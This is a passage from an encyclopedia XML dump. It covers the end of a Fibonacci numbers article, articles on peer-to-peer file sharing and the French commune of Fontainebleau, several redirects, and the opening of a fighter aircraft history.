Since the set of sequences satisfying the relation ''S''(''n'') = ''S''(''n''-1) + ''S''(''n''-2) is closed under termwise addition and under termwise multiplication by a constant, it can be viewed as a [[vector space]].  Any such sequence is uniquely determined by a choice of two elements, so the vector space is two-dimensional.  If we abbreviate such a sequence as (''S''(0), ''S''(1)), the Fibonacci sequence ''F''(''n'') = (0, 1) and the shifted Fibonacci sequence ''F''(''n''-1) = (1, 0) are seen to form a canonical basis for this space, yielding the identity:

: ''S''(''n'') = ''S''(0)''F''(''n''-1) + ''S''(1)''F''(''n'')

for all such sequences ''S''.  For example, if ''S'' is the Lucas sequence 1, 3, 4, 7, 11&amp;hellip;, then we obtain ''L''(''n'') = ''F''(''n''-1) + 3''F''(''n'').

==Fibonacci primes==

The first few Fibonacci numbers that are also [[prime number]]s are {{OEIS2C|id=A005478}}: 2, 3, 5, 13, 89, 233, 1597, 28657, 514229, &amp;hellip;. It seems likely that there are infinitely many [[Fibonacci prime]]s, but this has yet to be proven.

== Fibonacci strings ==

In analogy to its numerical counterpart, a '''Fibonacci string''' is defined by:
:&lt;math&gt; 
  F_n := F(n):=
  \begin{cases}
    b             &amp; \mbox{if } n = 0; \\
    a             &amp; \mbox{if } n = 1; \\
    F(n-1)+F(n-2) &amp; \mbox{if } n &gt; 1. \\
   \end{cases}
 &lt;/math&gt;,
where + denotes the concatenation of two strings. The sequence of Fibonacci strings starts:

:b, a, ab, aba, abaab, abaababa, abaababaabaab, &amp;hellip;

The length of each Fibonacci string is a Fibonacci number, and similarly there exists a corresponding Fibonacci string for each Fibonacci number.

Fibonacci strings appear as inputs for the [[worst case]] in some [[computer algorithm]]s.

==Popular culture==

*The Fibonacci sequence plays a prominent, but mathematically questionable, part in the bestselling novel ''[[The Da Vinci Code]]''
* Tool's song &quot;Lateralus&quot; from the album of the same name features the fibonacci sequence syllabically in the verses of the song. The syllables count from one to eight via the sequence and from eight to one via the sequence.
*Along with the concepts of the [[golden rectangle]] and [[golden spiral]], the Fibonacci sequence is used in [[Darren Aronofsky]]'s indie film ''[[Pi (film)|&amp;#960;]]'' (1998)
*Referenced in the film of [[The Phantom Tollbooth]].
*Used in Steven Spielberg's miniseries ''[[Taken]]''.
*It was also used as a key plot point in an episode of the [[The Walt Disney Company|Disney]] original television series ''[[So Weird]]''.
*In a [[FoxTrot]] comic, Jason and Marcus are playing football.  Jason yells, &quot;Hut 0!  Hut 1!  Hut 1!  Hut 2!&quot; all the way until &quot;Hut 13!&quot; in the Fibonacci sequence.  Marcus yells, &quot;Is it the Fibonacci sequence?&quot;  Jason says, &quot;Correct!  Touchdown, Marcus!&quot;
*BT ([[Brian Transeau]]) released a song in 2000, titled the &quot;Fibonacci Sequence,&quot; in which a sample of someone saying the actual sequence can be heard.
*Dr. Steel released a song titled &quot;Fibonacci Sequence&quot; in 2005.

==See also==

*[[Fibonacci number program]]
*[[Anti-Fibonacci numbers]]
*[[Golden ratio]] (or golden section)
*[[Plastic number]]
*[[Padovan sequence|Padovan number]]
*[[Perrin number]]

==Journals==
* [http://www.engineering.sdstate.edu/~fib/ The Fibonacci Quarterly] &amp;mdash; an academic journal devoted to the study of Fibonacci numbers

==References==
* [[Donald Knuth|Donald Knuth]]. ''Fundamental Algorithms'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89683-4. Section 1.2.8: Fibonacci Numbers, pp.79&amp;ndash;86.

==External links==
* Alexey Stakhov, ''[http://www.goldenmuseum.com Museum of Harmony and Golden Section]'', (undated, 2005 or earlier).
* Subhash Kak, ''[http://uk.arxiv.org/abs/physics/0411195 The Golden Mean and the Physics of Aesthetics]'', Archive of Physics, (2004).
* Ron Knott, ''[http://www.mcs.surrey.ac.uk/Personal/R.Knott/Fibonacci/phi.html The Golden Section: Phi]'', (2005).
* Ron Knott, ''[http://www.mcs.surrey.ac.uk/Personal/R.Knott/Fibonacci/fibrep.html Representations of Integers using Fibonacci numbers]'', (2004).
* Bob Johnson, ''[http://www.dur.ac.uk/bob.johnson/fibonacci/ Fibonacci resources]'', (2004)
* Donald E. Simanek, ''[http://www.lhup.edu/~dsimanek/pseudo/fibonacc.htm Fibonacci Flim-Flam]'', (undated, 2005 or earlier).
* Rachel Hall, ''[http://www.sju.edu/~rhall/Multi/rhythm2.pdf Hemachandra's application to Sanskrit poetry]'', (undated; 2005 or earlier).
* Alex Vinokur, ''[http://semillon.wpi.edu/~aofa/AofA/msg00012.html Computing Fibonacci numbers on a Turing Machine]'', (2003).
* (no author given), ''[http://www.goldenmeangauge.co.uk/fibonacci.htm Fibonacci Numbers Information]'', (undated, 2005 or earlier).
* [http://www.dur.ac.uk/bob.johnson/fibonacci Fibonacci resources site]
* Wikisource, ''[[Wikisource:Sequence:Fibonacci numbers| Table of first 1000 Fibonacci numbers]]'', (2005).
* [http://www.mcs.surrey.ac.uk/Personal/R.Knott/Fibonacci/fib.html Fibonacci Numbers and the Golden Section] - Ron Knott's Surrey University multimedia web site on the Fibonacci numbers, the Golden section and the Golden string. 
* The [http://www.mscs.dal.ca/Fibonacci/ Fibonacci Association] incorporated in [[1963]], focuses on Fibonacci numbers and related mathematics, emphasizing new results, research proposals, challenging problems, and new proofs of old ideas.
* Dawson Merrill's [http://www.goldenratio.org/info/ Fib-Phi] link page.
* [http://primes.utm.edu/glossary/page.php?sort=FibonacciPrime Fibonacci primes]
* [http://www.upl.cs.wisc.edu/~bethenco/fibo/ The One Millionth Fibonacci Number]

[[Category:Fibonacci numbers|*]]

[[bg:Число на Фибоначи]]
[[ca:Successió de Fibonacci]]
[[cs:Fibonacciho posloupnost]]
[[da:Fibonacci-tal]]
[[de:Fibonacci-Folge]]
[[es:Sucesión de Fibonacci]]
[[eo:Fibonaĉi-nombroj]]
[[fr:Suite de Fibonacci]]
[[ko:피보나치 수]]
[[id:Bilangan Fibonacci]]
[[it:Successione di Fibonacci]]
[[he:סדרת פיבונאצ'י]]
[[lv:Fibonači skaitļi]]
[[hu:Fibonacci-számok]]
[[nl:Rij van Fibonacci]]
[[ja:フィボナッチ数]]
[[no:Fibonacci-tall]]
[[pl:Ciąg Fibonacciego]]
[[pt:Número de Fibonacci]]
[[ru:Числа Фибоначчи]]
[[scn:Succissioni di Fibonacci]]
[[sk:Fibonacciho postupnosť]]
[[sl:Fibonaccijevo število]]
[[fi:Fibonaccin lukujono]]
[[sv:Fibonaccital]]
[[vi:Dãy Fibonacci]]
[[tr:Fibonacci sayıları]]
[[zh:斐波那契数列]]</text>
    </revision>
  </page>
  <page>
    <title>Fighter Aircraft</title>
    <id>10921</id>
    <revision>
      <id>15908711</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Fighter aircraft]]
</text>
    </revision>
  </page>
  <page>
    <title>File sharing</title>
    <id>10922</id>
    <revision>
      <id>42124622</id>
      <timestamp>2006-03-03T23:59:06Z</timestamp>
      <contributor>
        <username>Omniplex</username>
        <id>571527</id>
      </contributor>
      <minor />
      <comment>/* References */ get rid of bogus cyberspace infobox with internal links</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}

'''File sharing''' is the practice of making [[computer file|file]]s available to other users for download over the [[Internet]] and smaller [[computer network|networks]]. Usually file sharing follows the [[peer-to-peer]] (P2P) model, where the files are stored on and served by personal computers of the users. Most people who engage in file sharing are also downloading files that other  users share. Sometimes these two activities are linked together. P2P File sharing is distinct from file trading in that downloading files from a P2P network does not require uploading, although some networks either provide incentives for uploading such as credits or force the sharing of files being currently downloaded.

==History==
File sharing is one of the original applications on the internet,  preceding even email. FTP evolved as a common standard for file sharing and is still used to this day. Having said that, when people use the term 'file sharing' they are usually refering to the exchange of files over peer-to-peer file sharing networks.

[[Napster]], originally a [[centralized system]], was the first major P2P file-sharing tool and popularized file sharing for the masses and came into being in the fall of 1999. Napster was a localized index for [[MP3]] files shared by the users logged into the system. It included [[Internet Relay Chat|IRC]]-like chat and [[instant messenger]] features. Many new major clients now follow its example in design. An MP3-only sharing system, Napster was finally shut down by legal attacks from the [[music industry]]. It was openly attacked by some artists (notably [[Dr. Dre]], [[Metallica]]) and supported by others ([[Mötley Crüe]], [[Limp Bizkit]], [[Courtney Love]], [[Dave Matthews]], [[David Crowder Band]]).

There was widespread media coverage of [[unreleased Madonna songs]] leaking out on to the web prior to the official commercial release, but there was no evidence that this injured sales. In fact, a similar leak of [[Radiohead]]'s album ''[[Kid A]]'' on Napster may have actually stimulated sales.  Tracks from ''Kid A'' were released on [[Napster]] 3 months before the CD's release and millions had downloaded the music by the time it hit record stores. The album was not expected to do that well to begin with as it was an artsy endeavor by a band that never hit the Top 20 in the US before. There was very little marketing employed and few radio stations played it so Napster was expected to kill off whatever market was left. Instead, when the CD was released Radiohead zoomed to the top of the charts. Having put the music in the hands of so many people, Napster appears to be the force that drove this success. Nonetheless, the record industry was reluctant to credit a company it was suing.

Even before its legal problems, the community created an alternative: [[OpenNap]]. A [[reverse-engineer]]ed version of the Napster [[protocol (computing)|protocol]], it was released as the [[open source]] server alternative for Napster users. These networks continue to exist even after Napster's collapse and many clients using this protocol have appeared, particularly with the help of the [[Napigator]] [[server]] list - an effort to centralize all of the different [[servers]] and [[computer network|networks]].

Afterward, a [[decentralized]] network known as [[Gnutella]] appeared.  This service is fully [[open source]] and allows users to search for almost any file type; users can find more than just MP3s on these networks. It was created in response to the threat posed toward any centralized body like Napster.  The purpose behind decentralization is to prevent any single broken link from compromising the entire network.

Gnutella continues to define file sharing today, forming the extremes at both ends of the law in the wake of a series of civil lawsuits filed against computer users by the [[RIAA]] (which began in September, [[2003]]), however, Napster has gone away and left a gap, which to some extent has since been filled by BitTorrent and others.  Gnutella and BitTorrent are free and open protocols and services while Napster has been resurrected as a commercial online music service that competes with other commercial services like [[iTunes]] and Rhapsody.  Most file-sharing systems since have sought to ride the line between these two extremes.

Today a variety of [[file-sharing program]]s are available on several different networks.  Availability depends partly on [[operating system]], and different networks have different features (for example, multiple-source downloads, different sorts of search limiting, and so on). It is common for commercial file sharing clients to contain abrasive advertising software, or [[spyware]], while non-commercial ones usually do not.

==Network architecture==
There are several major issues surrounding file sharing. Of these, the two most important are centralization vs decentralization and the [[privacy]] and [[anonymity]] of users. The latter takes on added importance when the [[legality]] of file-sharing is challenged by some [[copyright]] owners. A third issue is the collection and sale of data about users, using software referred to by its detractors as &quot;[[spyware]]&quot;.

In the early days, [[client (computing)|client]] software was protocol-specific, so one had &quot;Napster&quot; clients, and one had &quot;Gnutella&quot; clients.  There is an everpresent push towards making the [[GUI]]-side of things capable of using multiple protocols.  It is argued: why should a user have to load up several different applications to do what is, in their mind, the same thing?

In cases where there is perceived value in collecting, some people will have lots to share and will find themselves surrounded by eager people.  This can cause problems when the collector cannot keep up with demand. Decentralization is one means to alleviate this problem, especially in cases where it is possible to ensure that multiple copies of a popular item are available from multiple sources (even simultaneously, as with [[multi-source]] downloading).

Decentralization has also been pushed as a means of overcoming the threats posed to a centralized network, either by legal disputes or hostile users.  A decentralized network has no body to attack; only its individual active members may be targeted, and even if a small portion of them are removed the remaining peers on the network will still be able to function.

Concepts like [[leeching]] or [[hoarding]] come about where the one centralized person will collect files and later refuse to make those available to others.  [[Trade]] and [[ratio]] systems evolved in order to reduce the impact of leeching.  Under these systems, a person shares when he can expect to get something in return. [[KaZaA]], for instance, has a very simple rating system.  The client calculates the user's priority and tells the sources what level of downloading priority they should give that user.  Shortly afterward, however, hacked clients were released that told the sources that the user had one of the highest priority levels regardless of his actual sharing.

Another client which has a rating system is [[eMule]].  The eMule client, which uses [[Multisource_File_Transfer_Protocol | MFTP]] as its protocol, tracks how much downloading and uploading has been done from individual sources and if files are downloaded locally or if other peers download files.  Sometimes it seems that this rating system does not have a big impact on the download speed.  A reason could be the size of the upload queue and the chunk size. If there is a free upload slot, the client takes the peer on top, transferes 8 MB to it and moves it to the end of the [[queue]].  A peer with rating of x2 would have to wait to get an upload slot for only half of the amount of time of a peer with a rating of x1.  Furthermore, after the client has received an 8 MB chunk, it should upload an 8 MB chunk to the other peer as soon as possible if there is a download pending for that user.  Then the other client would upload one chunk to you and your download speed and the one from the other client will increase.

[[BitTorrent]] also has a very good share rating system. The download speed is slow if a client does not upload, but it can easily be the fastest protocol if the size of the swarm is large enough.

Today we are left with a slew of clients with functionality designed around making sharing files more effective, both in the real sense of uploading and downloading (like anti-leeching functions) and in the more ethereal sense of being bulletproof toward legal issues (as with [[anonymity]] and decentralization).

===Generational classification of peer-to-peer file sharing networks===
Some people describe peer-to-peer file sharing networks by their &quot;generation&quot;. This taxonomy only concerns itself with the popular internet-based file sharing networks, not earlier research- and business-oriented peer-to-peer systems, which pre-date them.

==== First generation ====
The first generation of peer-to-peer file sharing networks had a centralized file list, like Napster. Courts in the [[United States]] ruled that whoever controlled this centralized file list, containing works whose [[copyright]] was being infringed upon, were responsible for any infringement.
Ultimately, Napster was held liable even if it used the most advanced technology available to identify works copyright holders had asked it to block, because no technology that can identify works with 100% certainty exists or can exist. Napster continues to operate today, but the company has taken a new direction, and is now legally distributing music under a subscription-based model.

In the centralized peer-to-peer model, a user would send a search to the centralized server of what they were looking for, i.e., song, video, movie. The server then sends back a list of which peers have the data and facilitates the connection and download.

==== Second generation ====
After Napster encountered legal troubles, [[Justin Frankel]] of Nullsoft set out to create a network without a central index server, and Gnutella was the result. Unfortunately, the Gnutella model of all nodes being equal quickly died from bottlenecks as the network grew from incoming Napster refugees. [[FastTrack]] solved the problem by having some nodes be 'more equal than others'.

By electing some nodes that had more capacity as indexing nodes, and having lower capacity nodes branching off from them, it allowed for a network that could scale to a much larger size. Gnutella quickly adopted this model, and most current peer-to-peer networks follow this model, as it allows for large and efficient networks without central servers.

Also included in the second generation are [[distributed hash table]]s (DHTs), which solve the scalability problem by electing various nodes to index certain hashes (which are used to identify files), allowing for fast and efficient searching for any instances of a file on the network. They are not without their own drawbacks; perhaps most significantly, DHTs do not directly support keyword searching (as opposed to exact-match searching).

==== Third generation ====
The third generation of peer-to-peer networks are those that have [[anonymity]] features built in.  Examples of anonymous networks are [[Freenet]], [[I2P]], [[GNUnet]] and [[Entropy (anonymous data store)|Entropy]]. 

[[Friend-to-friend]] networks only allow already known users (a.k.a. &quot;friends&quot;) to connect to your computer, then each [[node (networking)|node]] can forward requests and files anonymously between its own &quot;friends&quot; nodes; some of these networks are [[MUTE]], [[ANts P2P]], and [[WASTE]].

Third generation networks, however, have not reached mass usage for file sharing because of the overhead that anonymity features introduce, multiplying the bandwidth required to send a file with each intermediary used.

==Copyright issues==
File sharing (such as with the Gnutella and Napster networks) grew in popularity with the proliferation of high speed Internet connections and the (relatively) small file size and high-quality MP3 audio format.  Although file sharing is a legal technology with legal uses, many users use it to download copyrighted materials without explicit permission. This has led to counterattacks against file sharing in general from some copyright owners.

There has been great discussion over perceived and actual legal issues surrounding file sharing.  In circumstances where trading partners are in different countries with different legal codes, there are significant problems to contend with.  What if a person in Canada wishes to share a piece of source code which, if compiled, has encryption capabilities?  In some countries, a citizen may not request or receive such information without special permission.

Throughout the early 2000s, the entire file-sharing community has been in a state of flux.  In the year 2000, there was speculation over how seriously record companies like the [[RIAA]] would strike the file-sharing community because of its limits compared to more traditional forms of media [http://web.archive.org/web/20031217191730/www.mp3newswire.net/stories/2000/buycd.html]. However, the communities suffered strain as record companies and the RIAA tried to shut down as much of it as possible.  Even though they have forced Napster and Grokster into cooperating against copyright violations, they are fighting an uphill battle since the community has flourished and produced many different clients based on several different underlying protocols. The third generation of P2P protocols, such as [[Freenet]], are not as dependent as Napster is on a central server; and as they encrypt the shared data, it is much harder to shut down these systems through court actions. Another attempt (used by the maintainers of [[KaZaA]]) is to change the company's organization or country of origin so that it is impossible or useless to attack it legally.

The [[Electronic Frontier Foundation]] (EFF) is a donor-supported group which protects users' digital rights.  It is one of the most influential online [[human rights]] organizations, and it is involved in legislation, court cases, and campaigns to make the public aware of their rights and to expand upon their current rights.  The EFF has vocally opposed the RIAA in its onslaught of lawsuits against users of file sharing applications, and has also supported sharers as defendants in court cases.  The foundation supports the idea that P2P file-sharing can exist while allowing users to compensate artists for their copyrighted material.

==Other issues==
Some file sharing software comes bundled with [[malware]] such as [[spyware]] or [[adware]]. Sometimes this malware remains installed on the system even if the original file sharing software is removed, and can be very difficult to eliminate. In many cases such malware can interfere with the correct operation of [[web browser]]s, [[anti-virus software]], anti-spyware and [[Firewall (networking)|software firewalls]], and can cause degraded performance on affected systems. Such malware is typically bundled with [[Proprietary software|proprietary]] software, and not those in [[open source]].

Some are also concerned about the use of file sharing systems to distribute [[pornography]] (including [[child pornography]]), [[Racism|racist]] literature, and other illegal or unpopular material. Novice users may find it difficult to obtain information on which networks are &quot;safe&quot; for them to use.

==See also==
* [[File sharing timeline]]
* [[File-sharing program]]
* [[Comparison of file sharing applications]]
* [[Compulsory license]]
* [[Open Music Model]]
* [[FairShare]]
* [[Spyware]]

== External links==
* [http://www.slyck.com Slyck] - A popular file sharing news site and community
* [http://www.zeropaid.com ZeroPaid] - Another popular file sharing news site and community
* [http://www.p2punited.com P2P United] - Pro-file sharing activism
* [http://www.mp3newswire.net MP3 Newswire]- Long-running digital music news site

===Canada's approach to P2P and copyright===
*''[http://news.com.com/2100-1027_3-5182641.html &quot;Judge: File Sharing is Legal in Canada.&quot;]'' ([[CNet]], Spring 2004).
*[http://www.cpcc.ca/english/index.htm Canadian Private Copying Collective] Since 1998, private copying of music for personal use is entirely legal in Canada. A levy was established on blank media sales in order to compensate artists for lost revenue due to file-sharing, and the CPCC was founded to oversee the levy process. The levy was renewed in December 2004.
*[http://www.cb-cda.gc.ca/news/c20032004fs-e.html Copyright Board of Canada] Government copyright policy. 
*[http://www.lexinformatica.org/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=33&amp;mode=thread&amp;order=0&amp;thold=0 Copyfight: A Tale of Two Cities] Article contrasting Ottawa and Washington, D.C.'s assessment of copyright parameters and the issue of criminal sanctions. 
*[http://www.info-mech.com/drm_in_canada.html Digital Rights Management in Canada] An advocacy website offering an introduction to digital rights management and links to licensed file sharers.
*[http://www.digital-copyright.ca/ Digital Copyright Canada] A forum created to host public dialogue concerning digital copyright and related issues. Includes a news aggregate.
*[http://www.michaelgeist.ca/resc/html_bkup/nov292004.html Numbers Don't Crunch Against Downloading] Michael Geist, a professor at the University of Ottawa, discusses the financial impact of downloading on the recording industry. This column appeared in the Toronto Star, November 29th 2004.
*[http://p2pnet.net/story/3122 p2pnet.net] An op-ed urging solidarity between musicians and Canadian consumers.

==References==
* Stephanos Androutsellis-Theotokis and Diomidis Spinellis. [http://www.spinellis.gr/pubs/jrnl/2004-ACMCS-p2p/html/AS04.html A survey of peer-to-peer content distribution technologies]. ACM Computing Surveys, 36(4):335–371, December 2004. [http://dx.doi.org/10.1145/1041680.1041681 doi:10.1145/1041680.1041681].
* Stefan Saroiu, P. Krishna Gummadi, and Steven D. Gribble. [http://www.cs.ucsb.edu/~almeroth/classes/F02.276/papers/p2p-measure.pdf A Measurement Study of Peer-to-Peer File Sharing Systems].  Technical Report # UW-CSE-01-06-02. Department of Computer Science &amp; Engineering. University of Washington. Seattle, WA, USA.
* Ralf Steinmetz, Klaus Wehrle (Eds). [http://www.peer-to-peer.info/ Peer-to-Peer Systems and Applications]. ISBN: 3-540-29192-X, Lecture Notes in Computer Science, Volume 3485, Sep 2005
*Richard Menta [http://www.mp3newswire.net/stories/2002/teentrade.html Research: File Traders Buy Records] July 22, 2002 [[MP3 Newswire]]
* [[Shuman Ghosemajumder|Ghosemajumder, Shuman]]. ''[http://shumans.com/p2p-business-models.pdf Advanced Peer-Based Technology Business Models]''. [[MIT Sloan School of Management]], 2002.
* Silverthorne, Sean. ''[http://hbswk.hbs.edu/item.jhtml?id=4206&amp;t=innovation Music Downloads: Pirates- or Customers?]''. [[Harvard Business School|Harvard Business School Working Knowledge]], 2004.

[[Category:File sharing|*]]
[[Category:IRC]]
[[Category:Instant messaging]]

[[da:Fildeling]]
[[de:File Sharing]]
[[es:Peer-to-peer]]
[[it:File sharing]]
[[he:שיתוף קבצים]]
[[pt:Compartilhamento de arquivos]]
[[ru:Совместное использование файлов]]
[[sv:Fildelning]]
[[zh:檔案分享]]</text>
    </revision>
  </page>
  <page>
    <title>Fontainebleau</title>
    <id>10923</id>
    <revision>
      <id>39390665</id>
      <timestamp>2006-02-12T21:28:06Z</timestamp>
      <contributor>
        <username>Hardouin</username>
        <id>70570</id>
      </contributor>
      <comment>Added history</comment>
      <text xml:space="preserve">{{French commune|nomcommune=Fontainebleau| 
région=[[Île-de-France (région)|Île-de-France]] |
département=[[Seine-et-Marne]]&lt;br/&gt;(''[[sous-préfecture]]'')| 
arrondissement=Fontainebleau|
canton=[[Canton of Fontainebleau|Fontainebleau]]&lt;br&gt;(chief town) |
insee= 77186|cp= 77300|maire= Frédéric Valletoux|mandat= 2005-2007|
intercomm=[[Communauté de communes de l'agglomération Fontainebleau-Avon|Communauté de communes&lt;br&gt;de l'agglomération&lt;br&gt;Fontainebleau-Avon]] |
longitude= 48° 24|latitude= 2° 42|alt moy= 69 m|alt mini= |alt maxi= |
hectares= 17,205|km²= 172.05|sans= 15,942|date-sans=1999|
dens= 93|date-dens=1999}}

{{FRdot|Fontainebleau}}
'''Fontainebleau'''  is a [[commune in France|commune]] in the [[aire urbaine|metropolitan area]] of [[Paris]], [[France]]. It is located 55.5 km. (34.5 miles) south-southeast from the [[Kilometre Zero|center of Paris]] (as the crow flies). Fontainebleau is a ''[[sous-préfecture]]'' of the [[Seine-et-Marne]] ''[[département in France|département]]'', being the seat of the [[Arrondissement of Fontainebleau]].

Fontainebleau, together with the neighboring commune of [[Avon, Seine-et-Marne|Avon]] and three other smaller communes, form an urban area of 36,713 inhabitants (1999 census). This urban area is a satellite city of Paris.

Fontainebleau is renowned for its large and scenic [[Forest of Fontainebleau]], a favorite weekend getaway for Parisians, as well as for the historical [[Château de Fontainebleau]] of the [[kings of France]], which attracts crowds of tourists.

==History==
During the [[French Revolution]], Fontainebleau was temporarily renamed Fontaine-la-Montagne, meaning &quot;Fountain by the Mountain&quot; (the mountain referred to is the series of rocky formations located in the Forest of Fontainebleau).

==Tourism==

Fontainebleau is a popular tourist destination : 300,000 visit the palace and about 11 million the forest.

===Fontainebleau forest===

The forest of Fontainebleau surrounds the city and dozens of villages. It is protected by France's ''Office National des Forêts'' and is recognised as a national park that is managed partly to conserve its wild plants and trees (such as the Service Tree of Fontainebleau) and its valuable population of birds, mammals and butterflies. It is a former royal hunting park often visited by [[walking|walkers]] and [[horse riding|horse riders]]. The forest is also well regarded for [[bouldering]], and is particularly popular amongst [[climbing|climbers]].

===Royal Château de Fontainebleau===

The Royal [[Château de Fontainebleau]] is a large castle where the Renaissance was introduced to France from [[1528]] onwards. 

===Other notable places===
* The European (and historical) campus of [[INSEAD]] [[business school]], and research laboratories from the ''[[École nationale supérieure des mines de Paris|École des Mines]] de Paris'' are located in Fontainebleau.
* The graves of [[G. I. Gurdjieff]] and [[Katherine Mansfield]] can be found in the cemetery at Avon.

==Transportation==
Fontainebleau is served by two stations on the [[Transilien Paris &amp;ndash; Lyon]] suburban rail line: [[Fontainebleau &amp;ndash; Avon (SNCF)|Fontainebleau &amp;ndash; Avon]] and [[Thomery (SNCF)|Thomery]]. Fontainebleau &amp;ndash; Avon station, the closest station to the town center of Fontainebleau, is located at the border between the commune of Fontainebleau and the commune of [[Avon, Seine-et-Marne|Avon]], on the Avon side of the border.

==See also==
*[[Château de Fontainebleau]]
*[[Edict of Fontainebleau]] ([[October]] [[1685]])
*[[List of climbing areas]]
*[[Milly-la-Forêt]]

==External links==
{{commons|category:Fontainebleau|Fontainebleau}}
*[http://www.fontainebleau.fr/ Fontainebleau official website]
*[http://www.chateaudefontainebleau.net/English/frame-eng.htm Château de Fontainebleau]
*[http://www.offrench.net/photos/gallery-8_location-56.php Fontainebleau forest photos]

{{Paris Metropolitan Area}}

[[Category:Communes of Seine-et-Marne]]
[[Category:Climbing areas]]
{{IledeFrance-geo-stub}}

[[cs:Fontainebleau]]
[[de:Fontainebleau]]
[[fr:Fontainebleau]]
[[it:Fontainebleau]]
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[[ja:フォンテヌブロー]]
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[[pt:Fontainebleau]]
[[fi:Fontainebleau]]
[[sv:Fontainebleau]]</text>
    </revision>
  </page>
  <page>
    <title>Fermats little theorom</title>
    <id>10924</id>
    <revision>
      <id>15908714</id>
      <timestamp>2002-10-10T23:05:10Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Fermat's little theorem]]</text>
    </revision>
  </page>
  <page>
    <title>Fermats little theorem</title>
    <id>10926</id>
    <revision>
      <id>15908716</id>
      <timestamp>2002-05-25T16:51:48Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[Fermat's little theorem]]</comment>
      <text xml:space="preserve">#REDIRECT [[Fermat's little theorem]]</text>
    </revision>
  </page>
  <page>
    <title>Fossil fuels</title>
    <id>10927</id>
    <revision>
      <id>15908717</id>
      <timestamp>2002-04-07T20:56:05Z</timestamp>
      <contributor>
        <username>Damian Yerrick</username>
        <id>1</id>
      </contributor>
      <minor />
      <comment>a real redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Fossil fuel]]</text>
    </revision>
  </page>
  <page>
    <title>Fighter aircraft</title>
    <id>10929</id>
    <revision>
      <id>42162693</id>
      <timestamp>2006-03-04T05:57:26Z</timestamp>
      <contributor>
        <username>Mmx1</username>
        <id>263229</id>
      </contributor>
      <comment>/* Fourth Generation 1970-1990 */</comment>
      <text xml:space="preserve">{{confusing}} 


[[image:fighter.formation.arp.750pix.jpg|thumb|right|375px|An [[A-10 Thunderbolt II]], [[F-86 Sabre]], [[P-38 Lightning]] and [[P-51 Mustang]] fly in formation during an air show at Langley Air Force Base, Virginia. The formation displays four generations of Air Force aircraft - 3 of them fighters]]

A '''fighter aircraft''' is a [[military aircraft]] designed primarily for attacking other [[aircraft]], as opposed to a [[bomber]], which is  designed to attack ground targets, primarily by dropping [[bomb]]s. Fighters are comparatively small, fast, and maneuverable. Fighters were developed in response to the fledgeling use of aircraft and [[dirigibles]] in [[WWI]] for reconnaissance and ground attack roles. These early fighters were mostly wood biplanes with light machineguns. As aerial warfare became increasingly important, so did control of the airspace. By WWII, fighters were predominantly metal monoplanes with wing-mounted cannon. Following the war, [[turbojet|turbojets]] replaced piston engines as the means of propulsion, and missiles augmented or replaced guns. Jet fighters are, for historical purposes, divided into several generations. Modern jet fighters are predominantly powered single or twin-turbofan, armed primarily with missiles, and equipped with a radar as the primary method of target acquisition.


== World War I ==
[[Image:Sopwith_Camel_at_the_Imperial_War_Musuem.jpg|thumb|right|375px|A [[Sopwith Camel|Sopwith Camel 2F1]] bi-plane at the [[Imperial War Museum]] in London.]]

Combat between aircraft has its origins in encounters between opposing scout aircraft early in WWI. Since early scout aircraft were unarmed, early encounters between opposing scouts were peaceful - pilots would often wave to one another as they passed by. Crafty pilots attempted to shoot down their counterparts in a manner of amateur ways - including grappling hooks, small arms, and grenades. As militaries realized the importance of aerial reconnaissance by airplanes and dirigibles, they also realized the importance of arming aircraft to destroy enemy scouts. One early solution was to mount a swiveling machine gun for the backseater or a forward-facing machine gun on the top wing to clear the propeller. Neither was particularly useful for a single seater, the latter being difficult to aim and reload. The central obstacle was firing a machine gun through the arc of the propeller without hitting the blades. French aviator [[Roland Garros]]'s solution was to fit deflector plates to his propellers where the machinegun would strike. This was an imperfect solution as the plates could not withstand repeated fire. A copy eventually ended up in German hands after a prototype crashed in German terriorty. Inspired by this, [[Anthony Fokker]]'s team invented the more reliable [[interrupter gear]], which enabled the widespread design of single-seat fighters.

* Significant aircraft:
** [[Nieuport]]
** [[Rumpler Taube]]
** [[Fokker]]: [[Fokker Dr.I]], [[Fokker D.VII]]
** [[S.P.A.D.]], or &quot;[[Spad]]&quot;
** [[Sopwith Camel]]
** [[RAE SE5a]]
** [[Albatros-Flugzeugwerke|Albatros]]

== 1919-1938 ==
[[Image:Hawker Fury (Yugoslav).jpg|thumb|right|250px|A Hawker Fury in Yugoslav service.]]

Fighter development slowed between the wars, the most significant change coming from the change from wood, cloth-skinned [[biplanes to metal]], [[monocouque]] or [[semi-monocoque]] monoplanes. Nations dabbled with twin-engined fighters as heavy fighters, but the idea did not take hold except for some specialized applications requiring a heavier payload. The primary driver of fighter innovation were not military budgets, but civilian aircraft races. Aircraft designed for these races sported innovations like streamlining and liquid-cooled engines that would find their way into the fighters of WWII.
[[image:peashooter.arp.750pix.jpg|thumb|right|250px|An early fighter: the Boeing [[P-26 Peashooter]] which first flew in 1932]] 
Biplanes
*[[Bristol Bulldog]]
*[[Gloster Gladiator]] - operated in the [[Mediterranean]] during WW2
*[[Hawker Fury]] - served in Spanish Civil War
Monoplanes
*[[Boeing P-26]]
*[[Brewster Buffalo]]
*[[Polikarpov I-16]]

== World War II ==
[[Image:303 plane picture.jpg|thumb|right|250px|A Supermarine Spitfire.]]

Aerial combat formed an important part of WWII military doctrine. The ability of aircraft to locate, harrass, and interdict ground forces was an instrumental part of the German combined-arms doctrine, and their inability to seize air superiority over Britain rendered an invasion infeasible. Erwin Rommel noted the effect of airpower with the following quote: &quot;Anyone who has to fight, even with the most modern weapons, against an enemy in complete command of the air, fights like a savage against modern European troops, under the same handicaps and with the same chances of success.&quot;

